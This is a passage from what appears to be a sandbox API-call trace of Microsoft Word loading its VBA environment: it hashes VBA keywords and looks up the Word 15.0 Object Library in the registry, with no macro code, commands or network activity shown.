lcid=0x409, szName="DoEvents") returned 0x109634 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0017.324] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0017.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0017.326] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0017.327] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0017.327] StringFromGUID2 (in: rguid=0x6efe660*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x264ba0, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0017.327] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x264838 | out: phkResult=0x264838*=0x5c6) returned 0x0 [0017.327] RegOpenKeyW (in: hKey=0x5c6, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0x264830 | out: phkResult=0x264830*=0x5ca) returned 0x0 [0017.327] RegEnumKeyW (in: hKey=0x5ca, dwIndex=0x0, lpName=0x264848, cchName=0xa | out: lpName="8.6") returned 0x0 [0017.327] wcscpy_s (in: _Destination=0x264860, _SizeInWords=0xa, _Source="8.6" | out: _Destination="8.6") returned 0x0 [0017.328] RegOpenKeyW (in: hKey=0x5ca, lpSubKey="8.6", phkResult=0x264918 | out: phkResult=0x264918*=0x5ce) returned 0x0 [0017.328] _ultoa_s (in: _Val=0x409, _DstBuf=0x264880, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0017.328] RegOpenKeyA (in: hKey=0x5ce, lpSubKey="409", phkResult=0x264870 | out: phkResult=0x264870*=0x0) returned 0x2 [0017.328] _ultoa_s (in: _Val=0x9, _DstBuf=0x264880, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0017.328] RegOpenKeyA (in: hKey=0x5ce, lpSubKey="9", phkResult=0x264870 | out: phkResult=0x264870*=0x0) returned 0x2 [0017.328] RegOpenKeyA (in: hKey=0x5ce, lpSubKey="0", phkResult=0x264870 | out: phkResult=0x264870*=0x5d2) returned 0x0 [0017.328] RegOpenKeyW (in: hKey=0x5d2, lpSubKey="win64", phkResult=0x264878 | out: phkResult=0x264878*=0x5de) returned 0x0 [0017.328] RegCloseKey (hKey=0x5de) returned 0x0 [0017.328] RegCloseKey (hKey=0x5d2) returned 0x0 [0017.328] _ultow_s (in: _Value=0x0, _Buffer=0x264920, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.328] RegOpenKeyW (in: hKey=0x5ce, lpSubKey="0", phkResult=0x2648f8 | out: phkResult=0x2648f8*=0x5d2) returned 0x0 [0017.328] RegQueryValueW (in: hKey=0x5d2, lpSubKey="win64", lpData=0x264940, lpcbData=0x2648f0 | out: lpData="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB", lpcbData=0x2648f0) returned 0x0 [0017.329] wcscpy_s (in: _Destination=0x264c70, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB") returned 0x0 [0017.329] RegCloseKey (hKey=0x5d2) returned 0x0 [0017.329] RegCloseKey (hKey=0x5ce) returned 0x0 [0017.329] RegCloseKey (hKey=0x5ca) returned 0x0 [0017.329] RegCloseKey (hKey=0x5c6) returned 0x0 [0017.329] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB", pptlib=0x264960*=0x0 | out: pptlib=0x264960*=0x6f64030) returned 0x0 [0017.329] ITypeLib:RemoteGetDocumentation (in: This=0x6f64030, index=-1, refPtrFlags=0x264970, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x50005c003a0043 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x50005c003a0043) returned 0x0 [0017.329] IUnknown:QueryInterface (in: This=0x6f64030, riid=0x7fef41c6750*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264780 | out: ppvObject=0x264780*=0x0) returned 0x80004002 [0017.329] ITypeLib:RemoteGetLibAttr (in: This=0x6f64030, ppTLibAttr=0x264778, pDummy=0x10 | out: ppTLibAttr=0x264778, pDummy=0x10) returned 0x0 [0017.329] ITypeLib:RemoteGetDocumentation (in: This=0x6f64030, index=-1, refPtrFlags=0x0, pbstrName=0x264770, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x264770*="Microsoft Word 15.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0017.329] StringFromGUID2 (in: rguid=0x737a3b0*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x264790, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0017.329] _ultow_s (in: _Value=0x8, _Buffer=0x2646b2, _BufferCount=0x10, _Radix=16 | out: _Buffer="8") returned 0x0 [0017.329] _ultow_s (in: _Value=0x6, _Buffer=0x2646b6, _BufferCount=0xe, _Radix=16 | out: _Buffer="6") returned 0x0 [0017.329] _ultow_s (in: _Value=0x0, _Buffer=0x2646ba, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.329] wcscpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x89, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0017.329] wcscpy_s (in: _Destination=0x743eebe, _SizeInWords=0x86, _Source="{00020905-0000-0000-C000-000000000046}" | out: _Destination="{00020905-0000-0000-C000-000000000046}") returned 0x0 [0017.329] wcscpy_s (in: _Destination=0x743ef0a, _SizeInWords=0x60, _Source="#8.6#0#" | out: _Destination="#8.6#0#") returned 0x0 [0017.329] wcscpy_s (in: _Destination=0x743ef18, _SizeInWords=0x59, _Source="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB") returned 0x0 [0017.329] wcscpy_s (in: _Destination=0x743ef84, _SizeInWords=0x23, _Source="Microsoft Word 15.0 Object Library" | out: _Destination="Microsoft Word 15.0 Object Library") returned 0x0 [0017.329] ITypeLib:LocalReleaseTLibAttr (This=0x6f64030) returned 0x0 [0017.329] wcscpy_s (in: _Destination=0x736e390, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library") returned 0x0 [0017.329] ITypeLib:RemoteGetDocumentation (in: This=0x6f64030, index=-1, refPtrFlags=0x264888, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4) returned 0x0 [0017.329] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0017.329] strcpy_s (in: _Dst=0x2646a0, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0017.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2646a0, cbMultiByte=5, lpWideCharStr=0x264500, cchWideChar=5 | out: lpWideCharStr="Word") returned 5 [0017.329] wcsncpy_s (in: _Destination=0x264520, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library") returned 0x0 [0017.329] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library", cchLength=0x88 | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.6#0#c:\\program files\\microsoft office\\office15\\msword.olb#microsoft word 15.0 object library") returned 0x88 [0017.329] IMalloc:Alloc (This=0x7fefefb5380, cb=0x112) returned 0x748a1d0 [0017.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.6#0#c:\\program files\\microsoft office\\office15\\msword.olb#microsoft word 15.0 object library", cchWideChar=137, lpMultiByteStr=0x748a1d0, cbMultiByte=274, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.6#0#c:\\program files\\microsoft office\\office15\\msword.olb#microsoft word 15.0 object library", lpUsedDefaultChar=0x0) returned 137 [0017.330] IMalloc:Free (This=0x7fefefb5380, pv=0x748a1d0) [0017.330] wcscpy_s (in: _Destination=0x743f1c8, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library") returned 0x0 [0017.330] wcsncpy_s (in: _Destination=0x264550, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library") returned 0x0 [0017.330] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library", cchLength=0x88 | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.6#0#c:\\program files\\microsoft office\\office15\\msword.olb#microsoft word 15.0 object library") returned 0x88 [0017.330] IMalloc:Alloc (This=0x7fefefb5380, cb=0x112) returned 0x748a1d0 [0017.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.6#0#c:\\program files\\microsoft office\\office15\\msword.olb#microsoft word 15.0 object library", cchWideChar=137, lpMultiByteStr=0x748a1d0, cbMultiByte=274, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.6#0#c:\\program files\\microsoft office\\office15\\msword.olb#microsoft word 15.0 object library", lpUsedDefaultChar=0x0) returned 137 [0017.330] IMalloc:Free (This=0x7fefefb5380, pv=0x748a1d0) [0017.330] wcsncpy_s (in: _Destination=0x264520, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.330] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", 